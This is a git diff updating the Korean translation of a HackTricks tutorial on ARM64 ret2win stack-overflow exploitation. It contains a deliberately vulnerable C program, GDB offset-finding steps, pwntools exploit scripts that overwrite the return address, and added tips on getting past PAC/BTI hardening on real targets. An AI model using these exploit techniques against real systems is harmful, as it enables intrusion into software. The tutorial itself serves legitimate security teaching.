Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

2025-10-10 18:36:50 +00:00 · 2025-08-27 02:33:19 +00:00 · 2025-08-27 02:33:19 +00:00 · b9423bae79
commit b9423bae79
parent cf06972c13
1 changed files with 71 additions and 16 deletions
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@ -2,14 +2,14 @@

 {{#include ../../../banners/hacktricks-training.md}}

-arm64에 대한 소개를 찾으세요:
+arm64 소개는 다음을 참조하세요:


 {{#ref}}
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}

-## Code
+## 코드
 ```c
 #include <stdio.h>
 #include <unistd.h>
@ -28,17 +28,29 @@ vulnerable_function();
 return 0;
 }
 ```
-PIE와 카나리 없이 컴파일:
+pie와 canary 없이 컴파일:
 ```bash
-clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
+clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
 ```
+- 추가 플래그 `-mbranch-protection=none`는 AArch64 Branch Protection (PAC/BTI)을 비활성화합니다. 툴체인이 기본적으로 PAC 또는 BTI를 활성화한다면, 이 플래그는 실습 재현성을 유지합니다. 컴파일된 바이너리가 PAC/BTI를 사용하는지 확인하려면:
+- AArch64 GNU properties를 확인:
+- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
+- 프롤로그/에필로그에서 `paciasp`/`autiasp` (PAC) 또는 `bti c` landing pads (BTI)를 검사:
+- `objdump -d ret2win | head -n 40`
+
+### AArch64 호출 규약 요약
+
+- 링크 레지스터는 `x30`(일명 `lr`)이며, 함수는 일반적으로 `stp x29, x30, [sp, #-16]!`로 `x29`/`x30`을 저장하고 `ldp x29, x30, [sp], #16; ret`로 복원합니다.
+- 즉 저장된 반환 주소는 프레임 베이스로부터 `sp+8`에 위치합니다. `char buffer[64]`가 아래에 배치된 경우, 저장된 `x30`까지의 일반적인 덮어쓰기 거리는 64 (buffer) + 8 (saved x29) = 72 바이트입니다 — 이는 아래에서 정확히 확인할 것입니다.
+- 스택 포인터는 함수 경계에서 16바이트 정렬을 유지해야 합니다. 더 복잡한 시나리오에서 나중에 ROP 체인을 구성할 경우, SP 정렬을 유지하지 않으면 함수 에필로그에서 크래시가 발생할 수 있습니다.
+
 ## 오프셋 찾기

 ### 패턴 옵션

 이 예제는 [**GEF**](https://github.com/bata24/gef)를 사용하여 생성되었습니다:

-gef로 gdb를 시작하고 패턴을 생성하여 사용하세요:
+GEF로 gdb를 시작하고, 패턴을 생성하여 사용합니다:
 ```bash
 gdb -q ./ret2win
 pattern create 200
@ -46,7 +58,7 @@ run
 ```
 <figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>

-arm64는 손상된 레지스터 x30의 주소로 돌아가려고 시도할 것이며, 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
+arm64는 레지스터 x30에 있는 주소로 복귀하려고 시도합니다(해당 레지스터가 제어되었으므로). 이를 사용해 패턴 오프셋을 찾을 수 있습니다:
 ```bash
 pattern search $x30
 ```
@ -56,7 +68,7 @@ pattern search $x30

 ### 스택 오프셋 옵션

-pc 레지스터가 저장된 스택 주소를 가져오는 것으로 시작합니다:
+먼저 pc 레지스터가 저장된 스택 주소를 얻습니다:
 ```bash
 gdb -q ./ret2win
 b *vulnerable_function + 0xc
@ -65,18 +77,18 @@ info frame
 ```
 <figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>

-이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정합니다:
+이제 `read()` 이후에 breakpoint를 설정하고 `read()`가 실행될 때까지 continue한 다음 13371337과 같은 패턴을 설정하세요:
 ```
 b *vulnerable_function+28
 c
 ```
 <figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>

-이 패턴이 메모리에 저장된 위치를 찾으세요:
+이 패턴이 메모리의 어디에 저장되어 있는지 찾으세요:

 <figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>

-그런 다음: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**

 <figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>

@ -84,19 +96,21 @@ c

 ### Regular

-**`win`** 함수의 주소를 가져옵니다:
+**`win`** 함수의 주소를 얻으세요:
 ```bash
 objdump -d ret2win | grep win
 ret2win:     file format elf64-littleaarch64
 00000000004006c4 <win>:
 ```
-악용:
+Exploit:
 ```python
 from pwn import *

 # Configuration
 binary_name = './ret2win'
 p = process(binary_name)
+# Optional but nice for AArch64
+context.arch = 'aarch64'

 # Prepare the payload
 offset = 72
@ -114,7 +128,7 @@ p.close()

 ### Off-by-1

-사실 이것은 스택에 저장된 PC에서 오프 바이 2와 더 비슷할 것입니다. 모든 리턴 주소를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어쓸 것입니다.
+사실 이것은 스택에 저장된 PC에서의 off-by-2에 더 가깝습니다. return address 전체를 덮어쓰는 대신 **마지막 2 bytes만** `0x06c4`로 덮어쓸 것입니다.
 ```python
 from pwn import *

@ -136,16 +150,16 @@ p.close()
 ```
 <figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>

-ARM64에서 또 다른 off-by-one 예제를 찾을 수 있습니다: [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), 이는 허구의 취약점에서 실제 off-by-**one**입니다.
+다른 ARM64의 off-by-one 예제는 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)에서 확인할 수 있으며, 이는 허구의 취약점에서 발생한 실제 off-by-one입니다.

 ## PIE 사용 시

 > [!TIP]
-> 이진 파일을 **`-no-pie` 인수 없이 컴파일하세요.**
+> 바이너리를 **`-no-pie` 인자를 사용하지 않고** 컴파일하세요

 ### Off-by-2

-누출이 없으면 승리 함수의 정확한 주소를 알 수 없지만, 이진 파일에서 함수의 오프셋을 알 수 있으며, 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 것을 알면, 이 경우 승리 함수의 오프셋(**0x7d4**)을 누출하고 그 오프셋을 사용할 수 있습니다:
+leak이 없으면 win 함수의 정확한 주소는 알 수 없지만, 바이너리에서 해당 함수의 오프셋은 알 수 있고 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 점을 이용하면, 이 경우 win 함수의 오프셋(**0x7d4**)을 leak해서 그 오프셋을 그대로 사용할 수 있습니다:

 <figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
 ```python
@ -167,4 +181,45 @@ p.send(payload)
 print(p.recvline())
 p.close()
 ```
+### 최신 AArch64 하드닝(PAC/BTI) 및 ret2win에 대한 주의사항
+
+- 바이너리가 AArch64 Branch Protection으로 컴파일된 경우, 함수 prologues/epilogues에 `paciasp`/`autiasp` 또는 `bti c`가 출력될 수 있습니다. 이런 경우:
+- 유효한 BTI landing pad가 아닌 주소로 돌아가면 `SIGILL`이 발생할 수 있습니다. `bti c`가 포함된 정확한 함수 진입점을 목표로 하는 것이 좋습니다.
+- PAC가 returns에 대해 활성화된 경우, naive return‑address overwrites는 에필로그가 `x30`을 인증하기 때문에 실패할 수 있습니다. 학습용 시나리오에서는 위에서 보인 것처럼 `-mbranch-protection=none`으로 다시 빌드하세요. 실제 타깃을 공격할 때는 non‑return hijacks(예: function pointer overwrites)을 선호하거나 위조한 LR을 인증하는 `autiasp`/`ret` 쌍을 절대 실행하지 않는 ROP를 구성하세요.
+- 기능을 빠르게 확인하려면:
+- `readelf --notes -W ./ret2win` 그리고 `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` 노트를 확인하세요.
+- `objdump -d ./ret2win | head -n 40` 그리고 `bti c`, `paciasp`, `autiasp`를 찾아보세요.
+
+### non‑ARM64 호스트에서 실행하기 (qemu‑user 빠른 팁)
+
+만약 x86_64에 있지만 AArch64를 연습하고 싶다면:
+```bash
+# Install qemu-user and AArch64 libs (Debian/Ubuntu)
+sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
+
+# Run the binary with the AArch64 loader environment
+qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
+
+# Debug with GDB (qemu-user gdbstub)
+qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
+# In another terminal
+gdb-multiarch ./ret2win -ex 'target remote :1234'
+```
+### 관련 HackTricks 페이지
+
+-
+{{#ref}}
+../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+{{#endref}}
+-
+{{#ref}}
+../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+{{#endref}}
+
+
+
+## 참고 문헌
+
+- AArch64에서 Linux용 PAC 및 BTI 활성화 (Arm Community, 2024년 11월). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
+- Arm 64비트 아키텍처를 위한 프로시저 호출 표준 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
 {{#include ../../../banners/hacktricks-training.md}}